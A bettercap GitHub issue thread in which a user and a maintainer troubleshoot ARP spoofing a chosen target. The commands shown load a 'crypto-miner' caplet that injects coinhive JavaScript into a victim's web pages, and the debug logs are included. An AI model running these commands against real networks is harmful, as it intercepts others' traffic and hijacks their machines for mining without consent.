Closed euri10 closed 6 years ago
further testing reveals that when running without eval, I can get the injection with
sudo ./go/bin/bettercap -caplet caplets/crypto-miner.cap -eval --debug
set arp.spoof.targets 10.3.33.135
set arp spoof off
set arp spoof on
so this is equivalent to sudo ./go/bin/bettercap -caplet caplets/crypto-miner.cap -eval "set arp.spoof.targets 10.3.33.135" --debug
Is it intended behavior that you need to restart the arp spoofing in order to select a target ?
ok seems like it is, I failed at seeing this in the docs, sorry, second question still stand, maybe >_)
And if the arp.spoof.targets
default is the entire subnet, is there a reason why using just sudo ./go/bin/bettercap -caplet caplets/crypto-miner.cap -eval --debug
wouldn't hit my 10.3.33.135 target in the first place ?
thanks for your help
you answered yourself ... eval will run those commands before activating the modules of the caplet, while if you run them manually, when the session is started, they'll run after the module, meaning you'll need to restart the module itself in order for it to see the changes. As for the other question (targeting the whole subnet) I'd need the debug logs of when this is happening in order to answer you.
So here's a debug log without eval: thanks to the reload.cap I had not read about I can spoof my target after the module has been started But if I target the entire subnet, my "victim" isn't spoofed, where am I failing?
I see the arp targets are updated 10.3.32.0/22 > 10.3.32.38 » [15:21:13] [sys.log] [inf] ARP spoofer started, probing 1024 targets.
but any reload of my victim's page fails at getting spoofed.
Are there more logs I can provide ?
➜ ~ sudo ./go/bin/bettercap -caplet caplets/crypto-miner.cap
bettercap v2.5 (type 'help' for a list of commands)
[15:20:36] [sys.log] [inf] Checking latest stable release ...
[15:20:36] [endpoint.new] Endpoint 10.3.33.18 detected as 00:11:32:71:48:65 (Synology Incorporated).
[15:20:36] [sys.log] [inf] http.proxy started on 10.3.32.38:8080 (sslstrip disabled)
[15:20:36] [endpoint.new] Endpoint 10.3.32.49 detected as d4:90:9c:4e:fd:6b.
[15:20:36] [sys.log] [inf] You are running 2.5 which is the latest stable version.
[15:20:36] [endpoint.new] Endpoint 10.3.32.41 detected as 80:b0:3d:23:49:ed.
10.3.32.0/22 > 10.3.32.38 » [15:20:37] [sys.log] [inf] ARP spoofer started, probing 1024 targets.
10.3.32.0/22 > 10.3.32.38 » exit[15:20:38] [endpoint.new] Endpoint 10.3.32.121 detected as 78:4f:43:77:e2:82 (Apple).
10.3.32.0/22 > 10.3.32.38 » set arp.spoof.targets 10.3.33.135
10.3.32.0/22 > 10.3.32.38 » exit[15:20:44] [endpoint.new] Endpoint 10.3.32.79 detected as 8c:85:90:33:11:97.
10.3.32.0/22 > 10.3.32.38 » reload arp.spoof
[15:20:45] [sys.log] [inf] Waiting for ARP spoofer to stop ...
[15:20:46] [endpoint.lost] Endpoint 10.3.32.41 lost.
[15:20:51] [endpoint.new] Endpoint 10.3.32.74 detected as 2c:f0:ee:11:ec:d2 (Apple).
[15:20:52] [endpoint.lost] Endpoint 10.3.32.49 lost.
[15:20:55] [endpoint.new] Endpoint 10.3.32.49 detected as d4:90:9c:4e:fd:6b.
[15:20:55] [endpoint.lost] Endpoint 10.3.32.79 lost.
10.3.32.0/22 > 10.3.32.38 » [15:20:55] [sys.log] [inf] ARP spoofer started, probing 1 targets.
10.3.32.0/22 > 10.3.32.38 » [15:20:56] [sys.log] [inf] we are in coinhive
10.3.32.0/22 > 10.3.32.38 » [15:20:57] [endpoint.lost] Endpoint 10.3.32.121 (Apple) lost.
10.3.32.0/22 > 10.3.32.38 » set arp.spoof.targets 10.3.32.0/22
10.3.32.0/22 > 10.3.32.38 » reload arp.spoof
[15:21:03] [sys.log] [inf] Waiting for ARP spoofer to stop ...
[15:21:04] [endpoint.lost] Endpoint 10.3.32.74 (Apple) lost.
[15:21:07] [endpoint.new] Endpoint 10.3.32.79 detected as 8c:85:90:33:11:97.
[15:21:08] [endpoint.new] Endpoint 10.3.32.32 detected as 2c:f0:a2:cd:0d:ac (Apple).
[15:21:10] [endpoint.new] Endpoint 10.3.32.74 detected as 2c:f0:ee:11:ec:d2 (Apple).
10.3.32.0/22 > 10.3.32.38 » [15:21:13] [sys.log] [inf] ARP spoofer started, probing 1024 targets.
10.3.32.0/22 > 10.3.32.38 » [15:21:16] [endpoint.new] Endpoint 10.3.32.121 detected as 78:4f:43:77:e2:82 (Apple).
10.3.32.0/22 > 10.3.32.38 » [15:21:20] [endpoint.lost] Endpoint 10.3.32.32 (Apple) lost.
10.3.32.0/22 > 10.3.32.38 » [15:21:21] [endpoint.new] Endpoint 10.3.32.32 detected as 2c:f0:a2:cd:0d:ac (Apple).
10.3.32.0/22 > 10.3.32.38 » [15:21:22] [endpoint.lost] Endpoint 10.3.32.79 lost.
10.3.32.0/22 > 10.3.32.38 » [15:21:24] [endpoint.new] Endpoint 10.3.33.17 detected as 40:e2:30:25:7f:c1 (AzureWave Technology).
10.3.32.0/22 > 10.3.32.38 » [15:21:26] [endpoint.lost] Endpoint 10.3.32.121 (Apple) lost.
10.3.32.0/22 > 10.3.32.38 » [15:21:28] [endpoint.new] Endpoint 10.3.32.49 detected as d4:90:9c:4e:fd:6b.
10.3.32.0/22 > 10.3.32.38 » [15:21:29] [endpoint.lost] Endpoint 10.3.32.74 (Apple) lost.
10.3.32.0/22 > 10.3.32.38 » [15:21:31] [endpoint.lost] Endpoint 10.3.32.32 (Apple) lost.
10.3.32.0/22 > 10.3.32.38 » [15:21:33] [endpoint.new] Endpoint 10.3.32.74 detected as 2c:f0:ee:11:ec:d2 (Apple).
10.3.32.0/22 > 10.3.32.38 » [15:21:34] [endpoint.lost] Endpoint 10.3.33.17 (AzureWave Technology) lost.
10.3.32.0/22 > 10.3.32.38 » exit
I see the subnet is quite big, it might be the case you just need to wait a few seconds or minutes for the discoverer to pick it up (or temporarily net.probe on
), when that happens you should see something like:
10.3.32.0/22 > 10.3.32.38 » [14:39:08] [sys.log] [dbg] Sending 60 bytes of ARP packet to 10.3.33.135:00:0c:29:ad:67:f8.
Environment
Please provide:
bettercap -debug ...
).greetings, after some errands here I am, it's possible I'm not using the arp spoofing correctly but I couldn't find an answer reading through the doc.
sudo ./go/bin/bettercap -caplet caplets/crypto-miner.cap -eval "set arp.spoof.targets 10.3.33.135" --debug
works fine, it injects the js code etc...Now on the very same html page, the js code is not included anymore when I don't use the eval flag and I set the target manually afterwards.
In that case a
get arp.spoof.targets
shows effectively the relevant ip set, but the debug log never shows the arp spoof attempts like[14:21:50] [sys.log] [dbg] Sending 60 bytes of ARP packet to 10.3.33.135:00:0c:29:ad:67:f8.
nor the success of a spoof like10.3.32.0/22 > 10.3.32.38 » [14:33:50] [sys.log] [dbg] (http.proxy) > 10.3.33.135:54442 GET example.com/
I thought, maybe wrongly, that when the arp.spoof.targets wasn't set, the entire subnet was a target, is this the case ?
If that's correct then I'm afraid that the same target without the eval flag fails at getting spoofed.
success with eval:
failure without, no spoof happens
Steps to Reproduce
sudo ./go/bin/bettercap -caplet caplets/crypto-miner.cap -eval "set arp.spoof.targets 10.3.33.135" --debug
works fine, it injects the js code from the crypto-miner.jssudo ./go/bin/bettercap -caplet caplets/crypto-miner.cap -eval --debug
then manually enter set arp.spoof.targets 10.3.33.135 and no code is injected, no arp spoof seems to happenExpected behavior: that both alternatives would be the same --
♥ ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY ♥